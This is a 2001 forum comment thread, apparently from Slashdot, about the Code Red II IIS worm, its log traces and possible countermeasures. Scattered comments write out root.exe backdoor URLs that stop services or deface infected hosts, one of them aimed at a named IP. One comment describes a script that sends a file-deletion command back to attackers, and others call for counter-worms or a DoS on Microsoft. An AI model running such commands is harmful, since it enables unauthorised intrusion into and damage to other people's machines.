http://IpOfHackedMachine/scripts/root.exe?/c+net+s top+server
why the hell don't these friggin huge ISP's hire someone who will disallow port 80 access by default? And 21. And 135/9. Are we living in a civilized society? Are they letting the inmates run the asylum? It's pretty frickin obvious that they are the reason for spread of the viruses. And all you @home/RR website runners can bite me. Go pay for your bandwidth and stop using mine. Besides, if you really have something to offer on your site then how about port 81? How'd that be? I'm sure you could rise above these NT/2K spastics who don't know what the hell they are running and just change ports.
How perfectly goddamn delightful it all is, to be sure. - Charles Crumb
http://www.incidents.org/diary/august2001.php#801 courtesy of incidents.org
Favorite Quote on the subject:
"I'll be glad when that virus gets out of Beta..."
-G.B.
-Freed
"Coffee should be black as hell, strong as death, and sweet as love." -Turkish Proverb
All the more reason to write something that permanently takes these machines offline before they screw up all of our capabilities with our ISPs.
For those who aren't enlightened, over on kuro5hin, there's an interesting piece on the legitamacy of the 'Good Times' virus (yes, i am a karma whore).
When it was first around, alot of it seemed impossible what made it so funny to the more tech aware, and so scary to the rest. Yet these days life is beginning to imitate art, recalibration of the refrigerator -> jini eg ?
<? include ('signature.inc'); ?>
Hmmm, even if you do that, you'll still have the junk in your logs, and that huge query string with the XX's or NN's is still going to be a part of the URL request.
I thought of simply redirecting the request to M$ - I mean, it's their freakin' problem, right? - I've had about 50 hits to this default.ida just in the last two days from the main dotcom site which is linked via a single href to a DSL backend, along with neighbors in my DSL range, 64. But, then I've done that kinda thing before and it doesn't change a damn thing, and I still have to look at that junk in my logs. It only changes the log entry from a 404 to a 302, wow.
It's like when someone links to an image you host and won't let go: Even though you redirect it and rename the image, you STILL have to see that 302'ed request in the logs...(There oughta be a law!)[[ and on that note, I've had a two year fight with a certain Geocities/Yahoo webmaster who WILL NOT stop linking to an image, even though it has been a broken link on their site for over a year!! WTF?? ]]
BTW, are you SURE Apache can be infected by Code Red???, 'cause I really don't think that's accurate..
You will outgrow your usefulness - actual Slashdot footer quote
You have just made an excellent point for a Code Red IV that scrambles the fucking hard drive like a bacon egg n cheese.
People might not care about network bandwidth but they'll care about their data.
Just because a few of us can read write and do a little math, doesn't mean we deserve to conquer the universe
Maybe because Microsoft released the patch for the hole over a month ago? Why don't admins just apply the patch!
You don't need to install any patch to make your computer immune to Code Red, so what's their excuse?
Have you noticed that they are using Akamai now to distribute the content of whitehouse.gov? I guess it's so that they can't be DDOSed in the future with a variant of Code Red (changing the IP address of whitehouse.gov was only a stopgap measure).
There's 10 types of people in this world, those who understand binary and those who don't.
I understand that Code Red provides a root exploit...
If you are getting code-redded by a site, then maybe you should use the root exploit to disable the IIS server or just remove kernel.exe
That is someone shoudl dummy up a default.iap (or whatever) for appachie boxes that will settle the issue once and for all and then post it where it can be got to by us violated linux sites.
No you honor, I shot a *TRESSPASSER*... I didn't go out and hunt down a victim.
NOTE: Add "8-)"s as you feel approprate
Innocent people shouldn't be forced to pay for inferior software development.
--"Code Complete" Microsoft Press
Last year the astroturfers' chorus was "Who do you sue when something goes dreadfully wrong?"
Well, something has gone dreadfully wrong. Where are all the lawsuits? Where are all the astroturfers gleefully pointing out that Microsoft's products are better than OSS products, because you can sue Microsoft for your troubles now?
Sheesh, evil *and* a jerk. -- Jade
The circus got seriously underway here late last Saturday. At that time I made a short list which can be found here.
The cablemodem traffic is annoying but so far no system interference to report here. The attempted attacks just bounce off Apache. Add this to my ever-increasing list of reasons why I'm glad I don't run Windoze.
give me a
There was a rumor of a "catch me if you can" worm lurking around the CyberNET commercial network. It was low threat, as only one copy was circulating itself, and all it did was occasionally teased the system console once as it left a system.
One of the obvious proposals was to make a hunter worm which would kill the original.
After all, CR will identify NT and Win2k servers, that might possibly be running on pirated software. Now we have logs all over the place of where they are. Do they have licenses??????
Don't bite the hand that feeds you, PCWorld.
Do you like German cars?
Just a single line to say that squid ( http://www.squid-cache.org) can be configured as an acceleration server only (without the proxying), and will automatically deny the default.ida, as well as protect your server from unacceptables requests.
Yes, but when you already know that something sucks before you buy it, it becomes your fault, not theirs. Anyone who was unethical enough to install Microsoft software just in the hopes that they would get to sue Microsoft later over the know defects, deserves to lose.
When you buy Microsoft products, Microsoft isn't fucking you. You are fucking yourself. And you knew you were fucking yourself, but thought someone else would have to suffer the consequences instead of oyu, either because the classic explanation that "Everyone else does it" or because Microsoft has deep pockets. Well, take some accountability for your own actions for a change.
Oh yeah, and if someone that works for you buys a Microsoft product for use at your business, fire that person. Nothing else will save you, except maybe education. (And we've tried about ten years of that, so education can be assumed to be futile.)
That's mighty odd -- for how long does it use 100% CPU? Do you cause it to loop?
If anything, this is an issue with your Java runtime, not the language or environment spec. Does it happen in GCJ-compiled code?
Interesting e-mail someone just sent me:
So someone has finally ported Code Red to Apache? >:)
www.dedserius.com
VB != VisualBasic
I'd like a web interface to control the compromised machine.
all questions about moderation are off topic, as is this message. read the fscking faq, numb-nuts.
However, The Nightmare on Elm Street and Halloween series were pretty tight.
See, what will happen next is that there will be a code red PREQUEL. Actually, three of them. And their titles will just absolutely suck.
// john athayde
# x@boboroshi.com
# http://www.boboroshi.com/
My log starts at Aug 1st at 7:30am...
/etc/httpd/logs/access_log | grep default.ida | wc -l
[cobain@dirtyhippie cobain]$ more
595
Not that bad, how about you all?
----------------------
58.0% slashdot corrupt
At work we have a M$ w2k brand new server (installed the last week of July). The server was patched before August 1 and did not have plain vanilla CR. Nevertheless, on Sunday August 6th we still got semi-infected with CRII. I say semi infected since it totally ruined our server's ability to function properly but did not try to infect other machines. When our IT support guy called M$, they claimed we should re-install the patch but went to great lengths to make us re-download the patch from a url they specified (instead of using the patch file we had downloaded at the end of July). This makes me think that maybe they improved the patch since then. Re-installing the patch solved some of the problems and the rest our IT guy had to fix manually.
We've been CR-free for 2 whole days now
For the record: I wanted a Linux server but the guys at work (I'm a gal) didn't want to give up the potential to share calendars (they don't actually use it at the moment but options have value on paper at a VC firm...).
Well if they had written it write the first time there'd be no need for duplicates because it would have been decent enough to trash IIS when it was done.
W0w, i've never gotten to a slashdot-submitted story so quickly. Other side of the spectrum. Just goes to show you, Taco, nobody gives a shit.
CODE BLUE!
We dance to all the wrong songs.
--Refused.
Why doesn't someone out there write a Code Red worm that infects, installs the patch to disable the back door, then deletes itself?
I think we should switch to IIS. This way we can have a good vacation from the internet while the code worm runs through the system
Bwahahahahaha!!!!!
Score 6, HILARIOUS
Just because a few of us can read write and do a little math, doesn't mean we deserve to conquer the universe
For each IP, go to this URI: /scripts/root.exe?+%2fc+echo+%22document.location% 3dgoatse.cx%22+>+..\wwwroot\default.htm'
I'm still logging codered live at http://www.baxpace.com/gateway
I have not picked up this 3rd version yet, but I have picked up a slight code alteration in version 2, which makes codered look for root.exe in C:, not D:. I posted a story on it...
ghaa.
I understand that Code Red is a worm, but I wish I had more of an understanding of how it really works and what it is really doing. Anyone got a good explanation or link to an explanation?
My sigs always suck.
The Code Red worm spreads surreptitiously through a hole in certain Microsoft software such as Internet Information Server (IIS) Web software and Windows NT or 2000 operating systems
Ah, so Windows NT or 2000 are vulnerable too, uh? God, I love proper journalism.
I agree, though I've been racking my brain trying to come up with a creative way to use these incoming requests.
The most net-friendly thing I can come up with is to create a 0-byte /default.ida and just return the 30-byte 200 OK. This still clogs up the logs, but it doesn't add too much general noise, especially if you have custom error messages, like I do.
The most Evil thing I could come up with is using mod_rewrite to send the exact URI and query string back to the originating server:
Don't feel left out, just because you run Apache! You can be "infected", too. It's fun for the whole family!
The best solution would be an application-level way to just silently block or ignore these requests. It's just not easy to turn off logging on matching a URI. I suppose you could make a virtual host that serves on /default.ida, with logging turned off...?
-- clvrmnky
This man is onto something... we need a new version of the worm... one that spreads, and then DoS's www.microsoft.com. Could some enterprising young geek please post the code for something of this nature to /.! Thanks for your time...
Sure, other web servers have potential security holes. But it was Microsoft that decided the index server ISAPI should be installed and accessible by default.
Code Red I, II, and III are pretty dull names. Why not call II and III something like Code Blue or Code Monkey or something.
Got Rhinos?
Still "XXXXXXX", "NNNNNNN", or something new? Is there an easy way to tell this new varient? Or must you get the payload to know? Also, is there any pointer to what the new payload is? I'm not convinced yet.....
Here we have something that does not come with source code, but people are still able to maintain the program, improve its performance, and then get those improvements quickly out into the field. Even Linux updates don't get distributed this efficiently.
As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
leaves a wider ?back door'' on infected machines,
Code Red II left a copy of cmd.exe in IIS's 'scripts' directory, giving any and all comers who know the machine's IP address the ability to perform *any* system level command with nothing more than a web browser.
My question here is, how the hell do you have a 'wider' backdoor than that?!
Tech details are sparse. I haven't seen anything yet. Anyone have links to pages about the new variant's payload?
The next Slashdot story will be ready soon, but subscribers can beat the rush and slashdot the links early!
nope still something wrong with this. I have had 38 attacks on my machine in the last 4 hours and this is as close as I get when use the code you suggest: CGI Error The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
I know what you mean.
Jurassic Park III was the best movie i've ever seen, especially since it came from the vast imaginations of Hollywood scriptwriters instead of Micheal Crighton.
The thing is, with Perl and Java, the language's runtime handles memory allocation/de-allocation. And barring a bug in the language itself, there's no way an app written in such language can overflow a buffer. Either the buffer will be grown dynamically to fit the data, or the app will get an exception. But corruption of unrelated data cannot happen in this way.
Finally a Code Red article on Slashdot that doesn't mention Sircam!
I wonder if you can slow down the worm by stalling the worm's thread process. If you added a default.ida file that, essentially, took forever to return data/download (or at least caused a timeout while waiting to load a file), would the worm slow down?
Pros: We know the worm only creates 99 threads at a time. This could theoretically stop it spreading
Cons: Bandwith limit (stalled download) needs to be used to avoid DDOS-ing yourself.
Need to kill the connection to keep from memory busting the TCP stack or occupying all available TCP ports.
You'd basically be playing TCP firewall games based on a request on httpd for hitting a specific file in the website file tree. Scripting that may be difficult or impossible.
Anyone have any other thoughts?
- Sig
The bottom line regarding legality isn't what clever logical constructs we can formulate on /.
The bottom line is what 12 people too stupid to get out of jury duty are going to think, and the average person would think that making use of a hole in order to run code on somebody else's machine without their permission is an intrusion, and thus illegal.
Your life isn't in danger from the attack on your system, so you have a "duty to retreat" that compels you to shut down your system if necessary, not counterattack.
I don't agree with it, but there won't be 12 of me on your jury.
your website sucks.
-c
but I have not seen any instances of attempted infection.
It's all very vague and the chances of mistaking Code Red rev C as Code Red III, (rev C = version II) are simply too high.
I also assume that this takes advantage of the same Index Vulnerability in IIS, which if anyone has been hit by either of the first two versions then they will have minimised the risks of a new version which uses the same vulnerability.
$5 / month hosted VPS on linux = awesome!
This is the same damn thing that happened to the I Love You worm that spread around. About a week after it was calmed down, some 1337 5kr1p7 K1dd13 got a hold of it and changed 2 lines, re-releasing it. Stupid copycating, that's all it is.
I'm willing to bet that whoever edited the virus this time is reading slashdot right now and is getting a boner off the fact somebody submitted it (if he didn't submit it himself).
Get over it. Code Red is dead. And all the editing and all the 1337 references in the world are not going to help it; Just let it die.
They set up this Internet load test after all; I'm sure they'd like to hear of the results...
--Mike
"Not an actor, but he plays one on TV."
Source compiles on Windows and Linux, binaries available, works with libpcap, can respond back to a range of addressses.
BTW, this technique has been used since the early-1990s (i.e. I wrote a plugin for the ProTools sniffer that did something like this).
Well, yeah. I build ISPs for a living. Most of the ones I work with have intelligent routers/firewalls, and it would be fairly easy to shut down port 80 outgoing from specific boxes. That wouldn't stop anything on the local subnet, but it would at least begin to contain the problem, and would alert the clueless (since they wouldn't be able to get out via the web).
As an aside- the first comment was rated a troll????
-jeff
-- Two men say they're Jesus. One of them must be wrong. - Dire Straits
Most proponents of prostition prohibition say it's because it spreads diseases. On the same grounds, we should institute a ban against running Windows servers. :)
Windows = the cheap $2 whore
Just because a few of us can read write and do a little math, doesn't mean we deserve to conquer the universe
For those who fight for it, life has a flavor the sheltered will never know.
I'm still wondering what I should do with the hundreds of IPs in my desktop's apache log
should we set up a site somewhere of ip addrs?
Already got one! Remember, the list, including fully-qualified hostnames, is for _educational_ purposes only. I've made it available so that we can study how this thing moves, not for such purposes as mass-spamming postmaster@$IIS-INFECTED-HOSTNAME with flames reminding him that he is a bliterhing idiot, nor for other untoward activities which may be performed on a machine with a shell in a webserver's public directory.
Fire and Meat. Yummy.
Brighter than me Brighter than you Brighter than anything On your shoe
2 patches, ~500k for both. 1 for NT4, one for W2k.
[20 million 'registered' users] * [8.5 million "gates.bill@microsoft.com" entries] * [2 million bad addresses bouncing both attachments back]= The biggest DOS spam attack in history!
Exercise for the student: Multiply that by $0,59 for every bit/s it spends in Georgia...give 3 examples.
"History doesn't repeat itself, but it does rhyme." Mark Twain
I think they've already dropped them from the network. I noticed that default.ida requests dropped from my server log starting a few days ago... And good observation ... I thought it was a bit ironic that RR was advising everyone to be aware of the possibility for infection .. nevermind the fact that you're not supposed to be running a server.
CodeRed - There were two versions of the original CodeRed worm, both of which were strictly memory resident and fairly tame, all things considered. Both of these will show NNNN's in your log files. You can find more information here.
/scripts/root.exe that CR2 leaves behind as a backdoor. I'm not sure why IIS would give an error about too many users being connected when in reality, the number of CR hits are around 1-2 a minute. It's likely that the IIS process looks for the number of open sockets and then gives that message if there are too many sockets open. This would make sense since CR2 will open up ~300 connections in its attempt to spread.
CodeRed 2 - This is the worm we're seeing now, the one with the XXXX's in your logs. This worm seems to most frequently scan in it's own IP range (Class A I think?) So, if you're in the 24/8 range, you'll probably see a lot of scans from people using various cable providers. You can find more information about CodeRed 2 here.
So far, I haven't seen anything on the security sites confirming a 3rd version of this worm. The media has often used the term CodeRed3 to describe what is actually CodeRed2, the one giving us grief right now.
If a new variant of this worm does make it into the wild, it'll be interesting to see how quickly it can spread. It seems that a lot of hosts infected with CR2 give the error (403.9 Too many users connected) when you try to access port 80, which causes the eeye scanner to miss them, and apparently keeps them from being exploited by a new worm. It also keeps people from getting to the
It was also mentioned yesterday that NT4 servers that have been patched are still vulnerable to CR2 if they're using redirection. This seems odd to me, since the patch should have fixed a buffer overflow in idq.dll. If that overflow was fixed and IIS is still crashing, perhaps there is another buffer overflow that's showing up when it gets the long string from CR2 as part of the redirection. Just a guess on my part though.
I was wondering. How difficult would it be for Microsoft and other server vendors, to write servers that can be self-correcting ?
Would it be too difficult for a server to be progammed to refer to a pre-programmed web url and download and apply any patches as applicable, automatically ?
This would be a better solution than having "clean-up" viruses, as has been suggested in earlier discussions !
The average Joe Schmoe is not living in a trailer park. There are tons of middle managers, and others making a decent amount, who would think nothing of paying $100's extra for software, for the same reason that they'd get a Lexus or Mercedes. Of course they need Win2k.
-- Another senseless waste of fine bytes.
Comment removed based on user account deletion
I had to read your post twice, but are you saying that people are installing Win2K and NT with the IIS service automatically running and they haven't noticed??? Wow. The reason I'm surprised is that 2k and NT are usually used by people who are at least a little tech savvy. They're not standard home OSes. I guess I shouldn't be too surprised, but it sure doesn't take a server admin to see the little IIS icon next to your clock with a green arrow showing it's running. Move the mouse over it and it says "IIS - Running". That's pure incompetance on the user's part (and bad design on the OS install to have it run auto by default).
Developers: We can use your help.
My only question is if such a counter measure is moral / legal. Unlike the proposed counter measure worm, this wouldn't propogate. It'd only affect boxes infected with Code Red II. I'm not sure that messing around with the machine of another user, despite my intentions or the infected state of a box, is legal.
"You spoony bard!" -Tellah
I wrote an all-Java OS in 1998 but can't be sure if or how it works... it's still booting.
Address the real perpetrators! They hide in redmond washington, behind a waterfall of payoffs to hundreds of government officials and journalists.
It seems likely that eventually what is going to happen is that server software will be released (IIS, Apache in a matter of time). Shortly after the release a virus will exploit a weakness found in the software and spread itself like crazy all over the net. Due to the way that SysAdmins have to fix the problem (patches) there will always be vulnerable servers out there. These vulnerable servers will continue to get infected and/or continue to infect other people.
So now our average user wants to set up a server and buys the software a few weeks after it is released. They set it up and connect to the internet to get a patch (we'll assume they will at least try to, which is something that definitely doesn't happen). What will happen is that by the time that they navigate around the web sites of the software and find the patch their server is already infected. Now if the infection is mean it will not let them download the patch and/or let the user
The interesting thing here is that the internet has the potential to be a huge warzone of virii where new software just out of the box a few weeks after release is vulnerable. When people install it, it gets infected before they can fix the vulnerabilities. One solution is of course to install the software and patches offline and then put the machine on the internet. The solution isn't always plausible however, especially if the software used to download patches is the software that the Virii attack.
Most people don't necessarily consider the Internet as a hostile place, but if Virii continue to be released as fast as software is then soon everyone will be affected and find the Internet hostile.
Just some of my thoughts.
Mod the above post up!
Don't patch if it will break other server stuff.
Turn off IIS.
Install Apache to your Windows box.
Problem solved.
If you can't do that, just turn off IIS, we don't need your content that much.
Cheers,
Jim in Tokyo
-- My Weblog.
Guys - there is no new code red variant. None of the security sites I frequent mention another variant. The CNET article Taco links to simply describes exactly what the so called "Code Red II" (the third variant in reality) does.
Why cant slashdot at least pretend that they are a real news site and try to verify this stuff? When the CNET article mentions Code Red 3 they were obviously mistaken. The point of the article is obviously to alert the world that Code Red had started attacking some oriental countries. Who gives a crap? Welcome to the rest of the world people.
As for your problem Taco - disable Apache and stop whining - we are all getting hit with this just as hard or harder. Your whining will accomplish nothing other than agitate a few more people.
Gam
"Flame at Will"
I love idealists not because I am one, but because they make life bearable for pragmatists such as myself.
not all sigs are meant to be funny? but yea, it's humorous, in a jealous sort of way.
If you did that, you would run afoul McAffee's Patent on Web based virus removal and system administration.
Qwest: Hi, we're calling all of our customers to find out if they've been affected by the Code Red virus. Have you been affected?
Nope.
Q: Huh?
I nat everything through the router to an internal firewall. Disable the web interface.
Q: Okay. Thanks.
Don't mention it.
= = =
Qwest in Phx. Impressive customer service effort.
www.dedserius.com
VB != VisualBasic
i found this on NANOG :
d er ed.shtml
how to stop the spread of code red with acl's on routers
http://www.cisco.com/warp/public/63/nbar_acl_co
I came to the same conclusion that you did - I'm getting hit by home users - ATT.co.jp in my case.
People with the same dialup connection that I have.
Where do home users typically get their copy of Win2K or NT Server? Yup, that's right, they 'borrow' it from work.
So start telling people the 'truth' - That Code Red is actually the BSA's way of routing out unlicenced Windows installs...
;-)
Pity that the 'default page' on IIS doesn't list the 'Registered User' on it. That would get people turning off unused servers.
Funny thing is that I had just written the firewall explanation page below as it became very timely - I now get more hits for that than from Code Red.
Cheers,
Jim in Tokyo
-- My Weblog.
I mean, who else would come out with THREE versions of an original idea, each one worse than the one before?!?
Redirect /default.ida http://www.microsoft.com/default.ida
Rather than just putting it on a few of your own machines, how about overwriting the default.ida on your "attacker's" box (since it's root-compd) to do the same?
Seems a little more ethical than just taking it down, which of course is what we all WANT to do (grrr, I wish I had an offshore co-lo server.)
Just because a few of us can read write and do a little math, doesn't mean we deserve to conquer the universe
I read about Code Red III being a translation error from korean ppls. Read Bugtraq, Code Red III does NOT exist (yet).
/default.ida?XXXXXXXXXXXXXXXXXXXXXXX....
/default.ida?XXXXXXXXXXXXXXXXXXXXXXX....
Also, more on code red II variants...
> My iis5.0 (patched) logs show the length of the original CodeRed II worm as 3818.
>It's the same Code Red II.
>The overall request is usually 3818 bytes, but this is 3379 bytes of payload
>plus whatever headers are used:
> GET
> Content-type: text/xml
> Content-length: 3379
>
> {{3379 bytes of binary data here}}
>
>I routinely find other headers too, such as:
>
> GET
> Host: 64.170.162.100
> Connection: keep-alive
> Content-type: text/xml
> Content-length: 3379
> Via: 1.0 ampere (NetCache NetApp/5.0.1R2)
> X-Forwarded-For: 212.198.146.153
> {{3379 bytes of same binary data here}}
>Same great taste, just a bit more filling.
>No evidence *whatsoever* of any Code Red II variants.
>Steve
--red0x
--red0x
Am I the only one who sees all those wide-open machines in my fw logs and thinks: SETI@home all time winner?
All it should take is sending a request like this: http://infected.host/scripts/root.exe?/c+start%%20 net%20stop%20ServiceName+c:\\
c es key.
Figure out what the service name for IIS is and you can make it do a clean belly flop. No real damage done.
A full list of the exact services is found in the registry (run regedit.exe) under the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servi
Other things you could stop are Server and Workstation, and Maybe Simple TCP/IP Services. There is plenty you can do to a NT box with just the command line. And it starts getting really fun after you install the NT resource kit.
I know more than I ever wanted to know about NT...
I'm going to go back in my box and will think within the limits of my box: MS Sucks Linux Good I read too much Slashdot.
Install IIS. Did it to me. I have an advantage though, my W2K system can't be gotten to from the net. I wouldn't have W2K at all but work requires it.
"If there is nothing you are willing to die for, then you are not really alive." Myself
I really don't know why the people could justify that it is really the third sequel of the virus meanwhile the report says:
"About 10 damage reports have come in which were believed to have been the result of the latest Code Red III,"...
It's still only 10 damages and the cause of the damage is not yet known. Those people in news really clever in getting attention...
Usually viruses are called its sequel only if they exhibit some degree of likenesses in binary form (correct me if I'm wrong). Even, some is not considered as the sequel, only variants. Remember those days when Jerusalem-B or Michaelangelo attacked? This time, we really don't know what the Code Red 3 look like and they said it's the 3rd sequel?
--
Error 500: Internal sig error
I have no idea how you can make a wider back door than CRII. With CRII, the back door has full administrative rights and you can execute arbitrary commands. The machine is FULLY compromised. Plus, due to the nature of the worm each compromised machine broadcasts its IP address to nearby machines. The only way to get a wider back door than CRII would be to put the back door on EVERY PORT.
OK, it will be ready in an hour, just got to build the array handler routine.
--- Will in Seattle - What are you doing to fight the War?
ach - I meant: http://64.173.108.11/scripts/root.exe?+%2fc+echo+% 22document.location%3d%27http%3A//goatse.cx%27%22+ > +..\wwwroot\default.htm
>Us java programmers are laughing our asses of
>each time a buffer overflow is wreaking havoc on
>the internet. We don't have to worry about such
>things. Java may not be the greatest thing, but
>you can rest assure that buffer overflows won't
>happen.
Isn't the Java runtime machine written in C/C++?
it could be a real 3rd (4th) variant. see http://www.securityfocus.com/archive/75/203279 for details.
But think of the great uptime stat you've got going!
I see even classic Slashdot is now pretty much unusable on dial up anymore.
Don't you think its possible that we should be able to begin isolating where these worms are originating? After *three* releases, this guy is really pushing things...
I know gun manufacturers shouldn't be sued when someone commits a crime with a firearm, and in that case the people who created the lame Code Red virii should be sued primarily, but I still think Microsoft is guilty here because their customers weren't aware their Windows-running boxes could start chewing up bandwidth like crazy simply because the OS vendor doesn't give a damn about these things.
To my knowledge, Microsoft didn't even try to mass-mail the patch to their registered customers who might be affected. Therefore, at the very least, I reckon they should be ordered to pay damages to telcos and ISPs for lack of due diligence.
(of course, in Georgia, I'd also be happy to see the state sue them for 59c per second of wasted bandwidth as well :-)
"A door is what a dog is perpetually on the wrong side of" - Ogden Nash
That Cnet article isn't very descriptive... does anyone know the details on it... what is a "wider" back door - how much wider could it get?
I haven't done any analysis of the worm myself, but has anyone questioned the possibility that this new version is phase two of the original worm? Not the same code per say, but perhaps the old code red does something to tell the new code red to "come here" or something? The fact the old code red is turned off tells me that they might be linked to the same person(s) or something.. if I were some independant cracker I wouldn't bother getting rid of the old one since that's another thing which might break when I launch the new worm.
Slashblots are only intended for entertainment purposes only! They can be seen about three times a day!
2001-08-03 03:27:38 Should I bother to report cracked systems? (askslashdot,spam) (rejected)
The world may never know....
Sequels that are actually better than the original.
Don't trust a bull's horn, a doberman's tooth, a runaway horse or me.
If Bill Gates had a nickel for every time Windows crashed...
..oh wait, he does.
Thats the funniest sig I've seen on slashdot!
I went into my apache config, and set up the PHP mime type to interpret .ida extensions as PHP addresses. I then wrote a PHP script called default.ida which opens a socket back to the requester on port 80, requests /scripts/root.exe, and then sends "del c:\winnt\system32\ntoskrnl.dll". This may look overly nasty, but in truth I never send a confirmation (you know, it asks "Are you sure(y/n)"), so the file isn't actually deleted. The whole idea makes me feel happy though!!!! :)
Wherever you go, there I am...
I've been reading your sig for a while now. I think the sig from Deuteronimy(sp?) might apply to you.
Guess I'll have to avoid synagogues.
But I thought Deuteronimy was a sin whose commission involved Hydrogen 2. Setting off fusion bombs, maybe?
Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
They've had a month to get the patch. If they haven't by now, whenever they get back from Pluto, they can use a friend's cable modem or a POTS modem and get the relatively small patch. I'm finding it hard to generate any sympathy for people still infectd by this virus.
Anyone have more info? How it looks in logs, etc.?
V1: Basic worm code
V1.1: Enhanced code
V2: Back door "feature"
V3: Faster attack "feature"
V3.1: Faster attack and multiple backdoor "feature"
------Today: Slashdot reports Code Red V4
V4: Failed version, the worm can't infect other systems, author too dumb to put dots in IP address
V5: Total code rewrite, GNU licensed, autopatch feature (downloads a copy of bsd or linux and installs it on the NT box)
V5.1: Faster reinstall (err....patch), now the user can select wich OS/distribution.
------Next Week:Meanwhile, Microsoft patents the "Internet Worm" concept.
V6: Final release, the worm now infects the victim's server and start to post comments in Slashdot about Code Red...
you hope i wasn't serious? please explain.
if these servers simply ran a cron job to apt-get the latest security updates... Oh, wait. Nevermind. ;)
der dee der.
and see that they go where they belong. I mean seriously, I've seen lot's of sites with a domain name which I thought was some other much more popular site which had a small link at the bottom saying something to the affect of: If you're looking for such and such they're actually located here.
It's just common courtesy provided it isn't a competitors site.
So what you do is set up a script to pull each individual Code Red transaction out of your logs and send an email to support@microsoft.com with a message similar to the following:
A user at IP address x.x.x.x was trying to contact you and got my IP address by mistake. I know how important the needs and desires of your customers are to Microsoft, so I was certain you would want to know about this as soon as possible.
that would be so much more secure. Very insightful +3.
Show me how to do it in Java, or in Perl? And no, using JNI (or XS) is cheating.
The press is going MUCH easier on Microsoft than they ever were on Firestone.
I'm not too worried about the IP address, although I am interested to know how many times an infection attempt has been tried (amusing when you're using apache 1.3.20). The simple command:
/var/log/httpd/*/access_log.099* | grep default.ida | wc -l
cat
acts like a simple 'counter', if you have your logs for different sites split up and using rotatelogs like I do.
Delphis
Well, an interesting poll might be: "how often has your web server been probed for ISS vulnerabities"?
My web server (listening to 10 ips) has been probed exactly 7623 times. Pretty stupid, since I don't even run IIS. Oh well....
Moz.
see a Text Widget
erm
that's crII brother. Not III. III is unknown to us so far.
How perfectly goddamn delightful it all is, to be sure. - Charles Crumb
Printing it in a license does not exempt them from state and federal laws
Fine Print: "You agree not to hold us liable for any damages. If you do sue us, this license agreement is terminated, you have no rights under this EULA, and we'll sue you for copyright infringement and win because we have billions of dollars of cash on hand to buy out half the law firms in the United States."
not to speak about other countries.
Fine Print: "This agreement is subject to the laws of the United States of America and the State of Washington without respect to conflict of law provisions."
If reckless conduct
What is reckless? "This software comes with ABSOLUTELY NO WARRANTY." The GNU GPL says it; most other other EULAs say it too.
Will I retire or break 10K?
Has anybody in this forum had a machine in their universe infected by the Code Red worm? (any variant) You can reply as AC if you wish...
Secondly, when Code Red was on your machine, was net access notably slower? Basic machine performance slower?
I'm just curious as I would figure that an infected machine with several threads of code running would slow my machine down to the point that even if I had no knowledge if IIS were on my machine, I would at least notice a difference...
I personally think hearing of people's experiences, getting some message out to the press might help. (ie - cable modem and other users running Windows NT or 2000 might have noticed a performance degradation - check for this patch to download) (as if the press coverage wasn't enough to warn people...
I donate all spillover Karma to the charity of my choice... Ada was still a babe despite what people may say...
If you see a message on the boards with a subject line of "Hi, how are you," delete it immediately WITHOUT reading it. It is "Code Red III". This is the most dangerous virus yet. It will re-write your hard drive. Not only that, but it will scramble any disks that are even close to your computer (up to 20 feet). It will recalibrate your refrigerator's coolness setting so all your ice cream melts and milk curdles. It will demagnetize the strips on all your credit cards, reprogram your ATM access code,screw up the tracking on your VCR and use subspace fieldharmonic to scratch any CDs you try to play.
It will give your ex-boy/girlfriend your new phone number. It will program your phone autodial to call only your mother's number. It is insidious and subtle. It is dangerous and terrifying to behold. It will mix antifreeze into your fish tank. It will drink all your beer.It will hide your car keys when you are late for work and interfere with your car radio so that you hear 1940's hits and static while stuck in traffic.
It will give you nightmares about circus midgets. It will replace your shampoo with Nair and your Nair with Rogaine, all while dating your current boy/girlfriend behind your back and billing their hotel rendezvous to your Visa card. It will seduce your grandmother. It does not matter if she is dead, such is the power of "Code Red III", it reaches out beyond the grave to sully those things we hold most dear.
It will rewrite your back-up files, changing all your active verbs to passive tense and incorporating undetectable misspellings which grossly change the interpretation of key sentences.
"Code Red III" will give you Dutch Elm disease. It will leave the toilet seat up and leave the hairdryer plugged in dangerously close to a full bathtub. It will wantonly remove the forbidden tags from your mattresses and pillows,and refill your skim milk with whole. "Code Red III" is an evil virus conceived by evil people. It is also a rather interesting shade of mauve. These are just a few signs. Be very, very afraid. PLEASE FORWARD THIS MESSAGE TO EVERYONE YOU KNOW!!!
"Love is never saying you're too proud." -Tonic
I just have my web server do a "net send %DOMAIN%" to warn them about their problem.
how about a link?
heheh funny story.
someone should make a "sig archive" on the web, with people's signatures and whose they are.
Got friends?
Admittedly, MS shipped a flawed product (IIS), and shipped it to users who have no idea that the product is even running on their box. Bad MS! Bad!
Admittedly, most computer owners are idiots (assuming that computer users are evenly distributed throughout the population, which mostly consists of idiots) and don't patch their machines regularly, or at all. Bad user! Bad!
However, it is counter-productive to bash MS for this, because they have released a patch some time ago and what else can they do? It is counterproductive to bash the users, because most of them don't know how to install a patch, or even what a patch is, and have no source of information to help them out (and even if MS mailed out information, how many of these users could and would understand and follow it? - they need someone who knows what they are doing to help them, and they don't know that they need that help).
The only place that this worm can be stopped is at the network level. ISPs need to block not inbound port 80, but outbound port 80 from machines on their network known to be infected. Better yet, redirect all outbound port 80 from known-infected sites to a web page at the ISP which explains the problem and how to fix it, and what number to call for more help and to get your web access turned back on. DO NOT use this to get a fix on who's running servers on your network that you need to punish, or people will stop calling you for help! This cuts the spread of the worm immediately, because an infected machine can no longer spread past the first router it comes to. It also gradually cleans up the problem at the source, and eventually most of the infected machines wouldn't be. Those machines not fixed would at least not be able to spread the infection, because the pathway would be closed. This were done at each level of the network, the worst case would be a machine that could get out to the backbones because of sloppy admins at the ISP, but then would be caught and blocked by the backbones.
The whole idea is to fix the problem, rather than bitching about who should not have let it happen in the first place.
-jeff
-- Two men say they're Jesus. One of them must be wrong. - Dire Straits
24.187.23.157 - - [09/Aug/2001:15:22:19 -0400]
thats my last code red v.anything hit...
i am on a 24.x.x.x address space from my cable modem provider, and the lately unstoppable modem blinking has slowed down quite a bit...
mike
==
apostrophes...right...
> (not that you're supposed to be running a server anyway...)
